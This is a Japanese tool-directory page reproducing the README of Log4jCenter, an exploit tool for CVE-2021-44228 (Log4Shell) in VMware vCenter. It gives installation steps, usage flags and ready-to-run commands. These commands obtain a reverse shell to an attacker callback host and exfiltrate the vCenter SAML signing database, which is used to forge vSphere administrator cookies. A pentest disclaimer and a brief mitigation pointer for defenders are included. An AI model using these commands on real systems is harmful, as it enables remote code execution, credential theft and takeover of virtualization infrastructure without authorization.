Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4jCenter — vCenter における CVE-2021-44228 を悪用して、リモートコード実行などを行う。 | Kitploit
ツール/GitHubGitHub/puzzlepeaches/log4jcenter
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペネトレーションテストコマンド&コントロール
GitHubpuzzlepeaches/log4jcenter

Log4jCenter

vCenter における CVE-2021-44228 を悪用して、リモートコード実行などを行う。

リポジトリを見る
105194年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4jCenter

vCenter における CVE-2021-44228 を悪用し、リモートコード実行などを行うツールです。悪用手法を詳しく解説したブログ記事は以下を参照してください:

  • VMWare vCenter における Log4j の脆弱性を悪用する方法

なぜ?

この脆弱性の Proof of Concept は散在しており、手動で実行する必要があります。このリポジトリは悪用プロセスを自動化し、悪用後に行える追加の攻撃経路を示しています。

インストール

このリポジトリは、手動または Docker のどちらでも使用できます。

手動インストール

エクスプロイトを手動でダウンロードして実行するには、次の手順を実行します。まず、攻撃用ホストに Java と Maven がインストールされていることを確認してください。Debian ベースのオペレーティングシステムで apt を使用してインストールするには、次のコマンドを実行します:

root@kitploit:~
apt update && apt install openjdk-11-jre maven

GitHub リポジトリをクローンし、すべての Python 要件をインストールします:

root@kitploit:~
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
    && cd Log4jCenter && pip3 install -r requirements.txt

Log4jCenter リポジトリのルートから、以下のコマンドで Rogue-Jndi プロジェクトをコンパイルします:

root@kitploit:~
mvn package -f utils/rogue-jndi/

Docker インストール

まず、攻撃用ホストに Docker がインストールされていることを確認してください。(この手順については説明しません)

その後、以下のコマンドを実行して、リポジトリをクローンし、使用する Docker イメージをビルドします。

root@kitploit:~
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
    && cd Log4jCenter && docker build -t log4jcenter .

コンテナを実行するには、コマンドラインのフラグを追加した、以下のようなコマンドを実行します。例えば、以下のコマンドは vCenter を悪用してリバースシェルを取得するために使用されます。コンテナはリバースシェルを受け取らないことに注意してください。別のシェルセッションで ncat リスナーを作成する必要があります:

root@kitploit:~
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \ 
    -t 10.100.100.1 -i 192.168.1.1 -p 4444 -r

使用方法

root@kitploit:~
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]

optional arguments:
  -h, --help            show this help message and exit
  -t IP, --target IP    vCenter Host IP
  -i CALLBACK, --ip CALLBACK
                        Callback IP for payload delivery and reverse shell.
  -p PORT, --port PORT  Callback port for reverse shell.
  -e, --exfiltrate      Module to pull SAML DB
  -r, --revshell        Module to establish reverse shell

使用例

ローカルシステムにインストールしたツールを使用してリバースシェルを取得します:

root@kitploit:~
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r

Docker コンテナ内から SAML 署名データベースを外部に持ち出します:

root@kitploit:~
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
    -t 10.100.100.1 -i 192.168.1.1 -e

注意事項

  • 何らかの不明な理由により、スクリプトの初回実行後にリバースシェルのペイロードが発火しない場合があります。コールバックを得るには、エクスプロイトを数回実行する必要があるかもしれません。この問題を調査し、将来のリリースで修正を含める予定です。
  • utils ディレクトリにはリポジトリ vcenter_saml_login が含まれています。これを -e フラグと組み合わせて使用すると、vCenter の SAML 署名データベースを外部に持ち出し、vSphere の管理者ログイン Cookie を生成できます。依存関係は別途インストールする必要があります。
  • 防御側の方は、近日公開予定のパッチ、または こちら に記載されている回避策を使用して、この問題を軽減できます。

免責事項

このツールはペネトレーションテスト中での使用を目的として設計されています。事前の相互同意なしに標的を攻撃するためにこのツールを使用することは違法です。適用されるすべての地方、州、連邦の法律を遵守する責任はエンドユーザーにあります。開発者はいかなる責任も負わず、このプログラムの誤用についても責任を負いません。

ツールをダウンロード